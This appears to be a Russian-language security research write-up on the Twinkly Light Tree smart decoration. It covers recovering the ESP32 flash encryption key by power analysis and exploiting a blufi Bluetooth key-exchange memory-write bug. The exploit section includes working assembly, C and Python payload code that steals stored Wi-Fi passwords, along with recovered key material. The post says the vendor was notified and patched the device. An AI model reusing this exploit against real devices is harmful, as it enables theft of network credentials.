Новый год у многих ассоциируется с яркими украшениями, фейерверками и, конечно, новогодней елью — какой же праздник без огоньков? В наш век smart-устройств умными стали и гирлянды: через Wi-Fi можно задать шаблон мигания светодиодов и даже загрузить свое видео. Но насколько безопасны такие украшения? Чтобы ответить на этот вопрос, мы исследовали Twinkly Light Tree.
А что, собственно, внутри?
Как становится понятно из названия, это не просто гирлянда, а целая светящаяся ель, состоящая из каркаса, светодиодных рядов и блока управления. Последний подключается к Wi-Fi, также там есть кнопка для выполнения начальной конфигурации (через Bluetooth).

Внутри корпуса блока управления находятся кнопка, трехцветный светодиод и модуль ESP32-WROOM.
Справа на плате (см. рис. 2). можно заметить набор контактов, подозрительно похожих на отладочные. Здесь установлен стандартный модуль ESP32, поэтому назначение контактов легко определяется (см рис. 3).

Эти контакты предназначены для первоначальной прошивки модуля ESP32. Если производитель не заблокировал интерфейс, их также можно использовать для считывания содержимого флеш-памяти и e-Fuses. Для этого существует удобный официальный инструмент esptool (см. рис. 4).

Чтение e-Fuses выполняем схожим образом, но уже через утилиту espefuse (см. рис. 5).

Нам интересны следующие e-Fuses:
- FLASH_CRYPT_CNT = 127 (0b1111111)
- JTAG_DISABLE = True (0b1)
- DISABLE_DL_DECRYPT = True (0b1)
- ABS_DONE_0 = True (0b1)
- ABS_DONE_1 = False (0b0)
Остановимся на каждом подробнее:
- Нечетное значение FLASH_CRYPT_CNT говорит о том, что на микроконтроллере активен Flash Encryption. Значит, код в полученном дампе флешки зашифрован и просто так исследовать его не получится.
- Активные JTAG_DISABLE и DISABLE_DL_DECRPYT означают, что отладка заблокирована и средствами самого контроллера расшифровать данные не выйдет.
- Наконец, ABS_DONE_0 и ABS_DONE_1 показывают, что включен Secure Boot v1, поэтому запускать свой код запрещено (даже при наличии ключа шифрования флешки).
Вердикт: перед нами релизный вариант конфигурации, включена максимальная защита.
Differential Power Analysis
Воспользуемся самым простым методом получения прошивки из контроллера ESP32-D0WD-v3 — Differential Power Analysis (DPA). Суть в том, что по потреблению питания микроконтроллера можно косвенно вычислить значения, которыми он оперирует в регистрах. Например, в сигнале, полученном с линии питания микросхемы, можно отчетливо определить состояния некоторой внутренней линии.

В случае с ESP32 можно «подслушать» процесс шифрования AES. Отмечу, что преобразования здесь выполняются над 128-битным значением состояния, а каждый этап шифрования происходит одномоментно, поэтому отдельные биты (как в примере на рис. 6) увидеть не получится. Соответственно, для вычисления значения ключа нужно использовать метод Correlation Power Analysis (CPA): выполняем десятки тысяч измерений с разными данными на входе, сравниваем с поведением предполагаемой модели и побайтно подбираем подходящий ключ.
В качестве устройства чтения возьмем улучшенную нами версию широко известного в узких кругах проекта ESP-CPA за авторством Kévin Courdesses.

Этот девайс одновременно эмулирует SPI-флешку и выполняет замеры питания в момент расшифровки блока данных. То есть эмулятор каждый раз посылает новый случайный блок данных и сохраняет замеры линии питания в момент расшифровки блока в файл.

Результат анализа корреляции выглядит как 16 графиков (по одному на байт раунд-ключа) с 256 линиями (по одной на каждый вариант байта). Та линия, что сильно выделяется на фоне других, — верно угаданное значение.

Из графиков получаем ключ 8aef836729ebf14d4f17a88cdb2d69ce. С его помощью повторяем анализ уже для раунда 1 (поскольку в ESP32 применяется AES-256 и ключа только от первого раунда недостаточно).

Таким образом получаем вторую половину ключа — 397f9cb7d00dd312d45fc7f1884661a8. Но и это еще не все!
В ESP32 ключ модифицируется в зависимости от смещения, поэтому путем анализа питания мы получили ключ уже после модификации (для смещения 0x1000). За то, как именно модифицируется ключ, отвечает e-Fuse FLASH_CRYPT_CONFIG (по умолчанию выставляется в максимальные 0xF). Алгоритм можно взять из официальной утилиты espsecure:
def _flash_encryption_tweak_key(key, offset, tweak_range):
addr = offset >> 5
key ^= ((mul1 * addr) | ((mul2 * addr) & mul2_mask)) & tweak_range
return int.to_bytes(key, length=32, byteorder="big", signed=False)
Алгоритм симметричный, поэтому его применение к полученному ключу обращает модификации. В результате получаем исходный ключ шифрования:
8A FF 83 65 29 EB B1 5D 4F 15 A8 8C 9B 2D 61 C6
39 7E 9C B7 F0 0D D7 12 D4 5D C7 F1 C8 46 69 A8
Важный момент: ключ уникален для каждого устройства, так что если вам нужно расшифровать другой девайс (пусть даже той же модели и с такой же прошивкой), все придется проделывать заново ;)
Краткий обзор прошивки
У считанного дампа стандартный вид для проектов на основе ESP32: загрузчик, два OTA-слота, прошивка на базе FreeRTOS и шифрованный Non-Volatile Storage с отдельно сохраненным ключом. Нестандартными можно назвать только разделы с заводской конфигурацией и огромный раздел movie для хранения пользовательского видеоролика.
| Смещение | Размер | Назначение |
| 0x0000 | 0xC0 | Подпись для Secure boot |
| 0x1000 | 0x5700 | Bootloader |
| 0x8000 | 0x1000 | Таблица разделов |
| 0x9000 | 0x4000 | NVS (Non-Volatile Storage), зашифровано keys |
| 0xD000 | 0x20 | otadata, информация о текущем используемом слоте прошивки |
| 0x10000 | 0x200000 | ota_1, слот прошивки № 1 |
| 0x210000 | 0x200000 | ota_2, слот прошивки № 2 |
| 0x410000 | 0x4000 | settings |
| 0x414000 | 0x4000 | data, информация об устройстве |
| 0x418000 | 0x3e0000 | movie |
| 0x7FF000 | 0x1000 | keys, ключи шифрования для NVS |
Неожиданностью стал включенный Stack Smash Protection: в начале каждой функции на верхушку стека записывалось случайное значение, а в конце проверялось, не изменилось ли оно.

В прошивке мы обнаружили многочисленные обработчики HTTP-протокола. Это неудивительно, ведь основной способ взаимодействия с устройством — по Wi-Fi через HTTP-запросы вида GET /xled/v1/…. При этом девайс подключается к существующей Wi-Fi-сети либо сам раздает ее. Помимо HTTP, имеется возможность удаленного управления по протоколу MQTT (в том числе есть поддержка Apple Homekit).
В онлайн-источниках есть много информации о протоколе этих гирлянд, в том числе готовые проекты на Python. С их помощью можно управлять девайсом, причем если вы уже в Wi-Fi-сети, никакого логина не требуется — даже знать IP-адрес не обязательно. Все гирлянды дружно отвечают на широковещательный UDP-запрос.
Уязвимости!
Конечно, полный доступ к управлению устройством из локальной сети не так интересен (для этого нужен пароль от Wi-Fi), как удаленный запуск своего кода на самом устройстве. Чтобы решить эту задачу, немного поковыряемся в прошивке и найдем интересную библиотеку blufi (см. рис. 12).

По сути, перед нами пример от разработчика SDK, как можно выполнить начальную настройку по Bluetooth LE (задать пароль для Wi-Fi). Интересна blufi тем, что около года назад в ней находили критические уязвимости, в том числе возможность записи произвольных данных по конкретному адресу (см. рис. 13).

Если кратко, протокол формирования секретного ключа принимает почти все параметры от клиента, при этом можно передать ключ размером до 8192 бит (хотя в коде библиотеки место предусмотрено только для 1024 бит). В результате получаем возможность перезаписи указателя на буфер и размера данных. А следующим запросом эти данные можно записать куда угодно. Самое странное, что разработчик микроконтроллера (Espressif Systems) не признал уязвимость и отказался создавать CVE:
- January 23, 2025 — Espressif publishes first round of patches to GitHub, informs NCC Group they do not consider the bugs to be security vulnerabilities and are therefore ineligible for the bug bounty program
Возможно, как раз из-за этого баг до сих пор присутствует в последней прошивке гирлянды. (UPDATE: после нашего отчета, Espressif признали серьезность проблемы и выпустили CVE-2025-55297.)
Чтобы наглядно показать проблему с безопасностью, рассмотрим правдоподобный сценарий. Злоумышленник видит гирлянду в холле компании, подходит к ней, нажимает кнопку конфигурации и через уязвимость получает пароль от корпоративной сети Wi-Fi, к которой подключено устройство. Для реализации такой атаки нужно разработать небольшой эксплойт, который будет считывать пароль от Wi-Fi через конфигурационный интерфейс BLE. Воспользуемся проектом pyBlufi, который как раз реализует этот протокол конфигурации.
Во-первых. Ищем, что бы такого в прошивке перезаписать, чтобы система не выдала ошибку и при этом у нас получилось исполнить произвольный код. Если со второй частью все довольно просто (достаточно перезаписать код в ОЗУ или глобальный callback), то с первой есть нюансы.
Буфер, адрес которого перезаписывается уязвимостью, используется однократно, после чего освобождается. А значит, нам нужно:
- Предотвратить падение при освобождении буфера, поскольку он не принадлежит куче.
- Не допустить падения системы при использовании буфера (адреса области кода генерируют исключение при побайтном доступе).
Чтобы выполнить все условия, мы придумали следующий трюк:
- В качестве целевого адреса для payload указываем таблицу векторов Xtensa. В ней есть функция WindowOverflow8, которая вызывается, когда уровень вложенности вызова функций достигает предела и нужно выгрузить регистры в стек (это происходит довольно часто).
- Сразу после перезаписи vector table (до использования буфера) в пропатченной WindowOverflow8 вызовется наш код, который исправит все что нужно, чтобы система не упала.
Во-вторых. Составляем код payload, который будет патчить систему, подменять методы в таблице и т. д. Работаем на ассемблере, потому что в таблице векторов не так много места и нужно аккуратно жонглировать регистрами.
.org 0x18
blufi_sec_ptr: .word 0x3FFCD568 ; указатель на структуру blufi_sec
ovrw_buf_ptr: .word 0x40080010 ; значение буфера после перезаписи
event_callback: .word 0x3FFC2BD4 ; адрес обработчика события bluFi
event_callback2: .word 0x3FFC0CAC ; адрес обработчика события bluFi
new_callback: .word 0x40080360 ; новый адрес обработчика bluFi
.org 0x80
_WindowOverflow8:
s32e a0, a9, -16
l32e a0, a1, -12
s32e a1, a9, -12
s32e a2, a9, -8
s32e a3, a9, -4
l32r a0, blufi_sec_ptr ; не делать ничего, если буфер не перезаписан
l32i.n a0, a0, 0
beqz.n a0, finish_ovfl
l32i a1, a0, 0x114
l32r a2, ovrw_buf_ptr
bne a1, a2, finish_ovfl
movi.n a2, 0
s32i a2, a0, 0x114 ; очистить указатель на буфер (чтобы не упал free)
s32i a2, a0, 0x118 ; занулить размер (чтобы не упал read_params)
l32r a0, event_callback
l32r a1, new_callback
s32i.n a1, a0, 0 ; заменить обработчики BluFi
l32r a0, event_callback2
s32i.n a1, a0, 0
finish_ovfl:
j finish_ovfl2
.org 0xE0
finish_ovfl2:
l32e a1, a9, -12
l32e a2, a9, -8
l32e a0, a1, -12
s32e a4, a0, -32
s32e a5, a0, -28
s32e a6, a0, -24
s32e a7, a0, -20
rfwo
Помимо исправления повреждений в коде, задаем новый обработчик BLE команд blufi: он поможет нам сделать что-то интересное и вытащить секретную информацию из устройства.
void callback(esp_blufi_cb_event_t event, char * param)
{
if (event != ESP_BLUFI_EVENT_GET_WIFI_STATUS) // подменяемая команда
{
blufi_cb * def_callback = (blufi_cb*)(0x4012CA48);
return def_callback(event, param);
}
ewgc_f * esp_wifi_get_config = (ewgc_f*)(0x400D4ECC);
char * data = calloc(1, 0x200); // аллоцировать буфер
esp_wifi_get_config(WIFI_IF_STA data); // конфиг “раздачи” WiFi
esp_wifi_get_config(WIFI_IF_AP, data + 0x60); // конфиг клиента WiFi
ebsc_f * esp_blufi_send_custom_data = (ebsc_f*)0x40178734;
esp_blufi_send_custom_data(data, 0xc0); // отправить пароли по BLE
free(data);
}
Скомпилированный обработчик записывается в ту же таблицу векторов Xtensa по смещению 0x350. Там как раз есть довольно большой неиспользуемый промежуток.
В-третьих. Подготавливаем ключевую информацию согласно описанию PoC из отчета NCC Group. Структура blufi_security, которая перезатирается в процессе эксплуатации, выглядит следующим образом:
struct blufi_security {
#define DH_SELF_PUB_KEY_LEN 128
uint8_t self_public_key[DH_SELF_PUB_KEY_LEN];
#define SHARE_KEY_LEN 128
uint8_t share_key[SHARE_KEY_LEN];
size_t share_len;
#define PSK_LEN 16
uint8_t psk[PSK_LEN];
uint8_t *dh_param;
int dh_param_len;
uint8_t iv[16];
mbedtls_dhm_context dhm;
mbedtls_aes_context aes;
};
Из реверса прошивки видно, что ключ (psk) формируется по смещению 0x80, указатель (dh_param) расположен по смещению 0x114, а размер буфера (dh_param_len) — по смещению 0x118. Значит, нужен некоторый padding в 0x94 байта, затем четыре байта адреса, по которому будет загружен payload, и два байта размера:
DH_G = 0
for i in range(0x94):
DH_G = (DH_G << 8) 0x33 # 0x33333333...33
# prepare rewrite of 0x40080010 with size of 0x3F0
DH_G = (DH_G << 48) | (0x10000840 << 16) | (0xF003)
# make DH_G mod 3 == 1
while DH_G % 3 != 1:
DH_G += 0x1000000000000
# modulus = G*3
DH_P = hex(DH_G * 3)
Осталось соединить все наработки в pyBlufi-коде и послать запрос:
async def postNegotiateSecurity(self):
type = getTypeValue(DATA.PACKAGE_VALUE, DATA.SUBTYPE_NEG)
pBytes = self.crypto.getPBytes()
gBytes = self.crypto.getGBytes()
kBytes = self.crypto.getYBytes()
pgkLength = len(pBytes) + len(gBytes) + len(kBytes) + 6
pgkLen1 = (pgkLength >> 8) & 0xff
pgkLen2 = pgkLength & 0xff
# send initial key data length
txBuf = io.BytesIO()
txBuf.write(bytes([NEG_SECURITY_SET_TOTAL_LENGTH]))
txBuf.write(bytes([pgkLen1]))
txBuf.write(bytes([pgkLen2]))
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
await asyncio.sleep(0.1)
txBuf.seek(0)
txBuf.truncate()
# send key data and rewrite buffer pointer / length
txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))
pLength = len(pBytes)
print(hex(pLength))
pLen1 = (pLength >> 8) & 0xff
pLen2 = pLength & 0xff
txBuf.write(bytes([pLen1]))
txBuf.write(bytes([pLen2]))
txBuf.write(pBytes)
gLength = len(gBytes)
print(hex(pLength))
gLen1 = (gLength >> 8) & 0xff
gLen2 = gLength & 0xff
txBuf.write(bytes([gLen1]))
txBuf.write(bytes([gLen2]))
txBuf.write(gBytes)
kLength = len(kBytes)
print(hex(pLength))
kLen1 = (kLength >> 8) & 0xff
kLen2 = kLength & 0xff
txBuf.write(bytes([kLen1]))
txBuf.write(bytes([kLen2]))
txBuf.write(kBytes)
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
await asyncio.sleep(0.1)
txBuf.seek(0)
txBuf.truncate()
# send payload and overwrite the xtensa vector table
txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))
txBuf.write(open("payload.bin", "rb").read()[0x10:])
await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())
Теперь на запрос GET_WIFI_STATUS мы получаем пароли от Wi-Fi:
54 65 73 74 50 6F 69 6E 74 31 00 00 00 00 00 00 TestPoint1......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
71 77 65 66 67 68 31 32 33 00 00 00 00 00 00 00 qwefgh123.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
54 77 69 6E 6B 6C 79 5F 35 44 42 37 46 39 00 00 Twinkly_5DB7F9..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
54 77 69 6E 6B 6C 79 32 30 31 39 00 00 00 00 00 Twinkly2019.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
***
Мы живем в мире, где даже самые простые устройства могут нести угрозы безопасности. Например, злоумышленник может превратить ваш девайс в майнер или часть DDoS-ботнета. В нашем случае атакующему нужен физический доступ к устройству, но бывают и уязвимости, которые можно спокойно эксплуатировать удаленно. Поэтому важно ответственно подходить к созданию системы умного дома и соблюдать базовые правила цифровой гигиены. Приобретайте продукты проверенных брендов, регулярно обновляйте прошивки и используйте отдельную сеть для умных устройств.
А наша новогодняя история закончилась хорошо. Мы передали информацию об уязвимости разработчикам Twinkly Light Tree, и они выпустили обновления для своих продуктов!



